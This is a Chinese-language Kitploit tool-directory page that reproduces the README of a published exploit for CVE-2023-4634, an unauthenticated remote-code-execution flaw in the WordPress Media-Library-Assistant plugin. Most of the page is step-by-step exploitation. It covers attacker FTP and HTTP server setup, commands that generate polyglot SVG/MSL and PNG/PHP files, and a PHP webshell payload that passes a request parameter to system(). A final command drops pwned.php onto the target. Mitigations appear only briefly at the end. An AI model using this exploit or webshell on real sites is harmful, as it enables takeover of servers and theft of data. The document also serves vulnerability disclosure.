Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-4634 — CVE-2023-4634 | Kitploit
工具/GitHubGitHub/patrowl/cve-2023-4634
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubpatrowl/cve-2023-4634

CVE-2023-4634

CVE-2023-4634

查看仓库
479153年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-4634

WordPress Media-Library 插件 < 3.10 的 RCE 利用 (CVE-2023-4634)

信息

Patrowl 在 Wordpress 插件 Media-Librairy-Assistant 版本 < 3.10 中发现了一个未认证的 RCE 漏洞。 该利用并非易事,只需要按照下方说明进行简单设置即可。

完整的漏洞发现与利用可参考我们的博客:https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/

利用前提

  • 已安装 Wordpress(所有版本均可)
  • Media-Library-Assistant 版本 < 3.10 (https://fr.wordpress.org/plugins/media-library-assistant/)
  • 服务器上已安装 Imagick 库
  • 默认 Imagick 配置
  • 外部网络连接

检测

可通过在远程 FTP 服务器上进行基本 DNS 检查来检测漏洞。nuclei 模板位于:CVE-2023-4634.yaml。

nuclei -u http://x.x.x.x -t ./CVE-2023-4634.yaml

然后可使用 CVE-2023-4634.py 脚本进行完整利用和 RCE。

注意:你也可以使用该脚本触发更简单的利用,如 LFI,只需伪造特定的 SVG 并托管在你的 FTP 上,按照我们博客中的建议操作即可。

用法

安装依赖:

python3 -m pip install -r requirements.txt

然后:

python3 CVE-CVE-2023-4634.py -h

输出:

usage: CVE-2023-4634 Exploit [-h] [--target [TARGET]] [--remoteftp [REMOTEFTP]] [--remotehttp [REMOTEHTTP]] [--svg_polyglot_name [SVG_POLYGLOT_NAME]] [--svg_exploiter_names [SVG_EXPLOITER_NAMES]] [--png_polyglot_name [PNG_POLYGLOT_NAME]] [--concurrency [CONCURRENCY]] [--generatesvg | --no-generatesvg] [--webserverpath WEBSERVERPATH]
                             [--exploitname EXPLOITNAME] [--generatepng | --no-generatepng] [--payload PAYLOAD]

Exploit CVE-2023-4634 on Media-Library-Assistant version < 3.10

options:
  -h, --help            显示此帮助信息并退出
  --target [TARGET]     目标 URL,例如 http://victimwordpress.org
  --remoteftp [REMOTEFTP]
                        用于存储 SVG 文件的远程 FTP URL,例如 ftp://X.X.X.X:PORT
  --remotehttp [REMOTEHTTP]
                        用于存储最终 Polyglot PNG/PHP 文件的远程 HTTP URL,例如 http://X.X.X.X:PORT
  --svg_polyglot_name [SVG_POLYGLOT_NAME]
                        外部 polyglot SVG/MSL 文件的名称(用于生成或最终使用),例如 poly.svg
  --svg_exploiter_names [SVG_EXPLOITER_NAMES]
                        外部 VID 暴力破解文件的名称,FUZZ 部分将被暴力破解的首字母替换(用于生成或最终使用),例如 exploiter_FUZZ.svg
  --png_polyglot_name [PNG_POLYGLOT_NAME]
                        外部 PNG/PHP 文件的名称(用于生成或最终使用),例如 virus.png
  --concurrency [CONCURRENCY]
                        并发长 SVG 转换请求的数量(默认 100)
  --generatesvg, --no-generatesvg
                        在 remote_ftp 目录内生成 polyglot SVG/MSL 文件和 VID 暴力破解文件
  --webserverpath WEBSERVERPATH
                        目标服务器上的 web 服务器路径(可通过 LFI 和 wp-config 文件找到),例如 /var/www/html
  --exploitname EXPLOITNAME
                        投递的 exploit 文件名,例如 pwned.php
  --generatepng, --no-generatepng
                        生成 polyglot PNG/PHP 文件,将带有 -payload 选项的 php 文件集成到 exploit-png 文件夹中
  --payload PAYLOAD     要集成到 PNG 文件中的 PHP payload,例如 <?php phpinfo(); ?>

要使其正常工作,你需要在远程主机上设置:

  • 1 个 FTP 服务器,托管 polyglot SVG/MSL 和 SVG/VID 利用文件
  • 1 个 HTTP 服务器,托管 polyglot PNG/MSL 文件

利用前准备

准备你的 FTP 服务器

你可以使用 Python 运行一个简单的 FTP 服务器:

python3 -m pyftpdlib -p 2122
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<

设置完成后,你需要将 SVG/MSL polyglot 文件以及所有 SVG 利用文件添加到你的 FTP 服务器中,你可以使用脚本轻松生成它们:

python3 CVE-2023-4634.py --generatesvg --svg_polyglot_name poly.svg --svg_exploiter_names exploiter_FUZZ.svg  --remotehttp http://192.168.1.164:8081 --png_polyglot_name virus.png  --webserverpath /var/www/html --exploitname pwned.php

这将在 remote_ftp 文件夹中生成:

  • poly.svg,包含非路由地址的 polyglot SVG/MSL,该地址将使目标花费很长时间来生成,同时包含一个 MSL,用于将 png_polyglot_name 从 remotehttp 存储到目标路径(webserverpath + exploitname)
  • 所有 64 个 SVG/VID 利用文件,使用 exploiter_FUZZ 命名规则,其中 FUZZ 将被暴力破解的字符替换

注意,脚本也会复制文件名后带有 [0] 的 SVG 文件(例如 poly.svg 和 poly.svg[0])。两个文件都需要用于利用。

将所有生成的文件(普通文件和 [0] 文件)放入你的 FTP 服务器的根目录中。它应该看起来像这样:

ls remote_ftp/
exploiter_-.svg    exploiter_3.svg    exploiter_7.svg    exploiter_B.svg    exploiter_F.svg    exploiter_J.svg    exploiter_N.svg    exploiter_R.svg    exploiter_V.svg    exploiter_Z.svg
exploiter_-.svg[0] exploiter_3.svg[0] exploiter_7.svg[0] exploiter_B.svg[0] exploiter_F.svg[0] exploiter_J.svg[0] exploiter_N.svg[0] exploiter_R.svg[0] exploiter_V.svg[0] exploiter_Z.svg[0]
exploiter_0.svg    exploiter_4.svg    exploiter_8.svg    exploiter_C.svg    exploiter_G.svg    exploiter_K.svg    exploiter_O.svg    exploiter_S.svg    exploiter_W.svg    exploiter__.svg
exploiter_0.svg[0] exploiter_4.svg[0] exploiter_8.svg[0] exploiter_C.svg[0] exploiter_G.svg[0] exploiter_K.svg[0] exploiter_O.svg[0] exploiter_S.svg[0] exploiter_W.svg[0] exploiter__.svg[0]
exploiter_1.svg    exploiter_5.svg    exploiter_9.svg    exploiter_D.svg    exploiter_H.svg    exploiter_L.svg    exploiter_P.svg    exploiter_T.svg    exploiter_X.svg    poly.svg
exploiter_1.svg[0] exploiter_5.svg[0] exploiter_9.svg[0] exploiter_D.svg[0] exploiter_H.svg[0] exploiter_L.svg[0] exploiter_P.svg[0] exploiter_T.svg[0] exploiter_X.svg[0] poly.svg[0]
exploiter_2.svg    exploiter_6.svg    exploiter_A.svg    exploiter_E.svg    exploiter_I.svg    exploiter_M.svg    exploiter_Q.svg    exploiter_U.svg    exploiter_Y.svg
exploiter_2.svg[0] exploiter_6.svg[0] exploiter_A.svg[0] exploiter_E.svg[0] exploiter_I.svg[0] exploiter_M.svg[0] exploiter_Q.svg[0] exploiter_U.svg[0] exploiter_Y.svg[0]

准备你的 HTTP 服务器

你可以使用 Python 运行一个简单的 HTTP 服务器:

python3 -m http.server -p 8081
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<

你只需要添加你的 polyglot PNG/PHP 文件。你也可以使用脚本生成文件并包含所需的 payload:

python3 CVE-2023-4634.py --generatepng --payload "<?php if(isset(\$_REQUEST['cmd'])){ echo \"<pre>\"; \$cmd = (\$_REQUEST['cmd']); system(\$cmd); echo \"</pre>\"; die; }?>" --png_polyglot_name virus.png

利用

现在远程 FTP 服务器和 HTTP 服务器都已就绪,你可以对脆弱的 target 发起利用(脚本会检查 target 是否使用了易受攻击的插件版本)。 示例:

python3 CVE-2023-4634.py --target http://127.0.0.1 --remoteftp ftp://192.168.1.164:2122 --remotehttp http://192.168.1.164:8081 --svg_polyglot_name poly.svg --svg_exploiter_names exploiter_FUZZ.svg --png_polyglot_name virus.png  --exploitname pwned.php

如果一切正常,你的 exploitname 应该被投递到 webserverpath(取决于你如何配置利用)。 享受吧!

视频片段

我制作了一个视频片段。

https://github.com/Patrowl/CVE-2023-4634/assets/15944951/6f9d356f-f0ec-48df-9037-5f8a4b64e44f

缓解措施

  • 升级到插件的最新版本 (https://fr.wordpress.org/plugins/media-library-assistant/)
  • 强化 Imagick 安全策略,禁用危险文件的转换,例如:"MSL, MSVG, MVG, PS, PDF, RSVG, SVG, XPS, VID" 可通过添加以下内容实现:
  <policy domain="coder" rights="none" pattern="SVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="MSVG" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="VID" />

到

/etc/ImageMagick-X/policy.xml
下载工具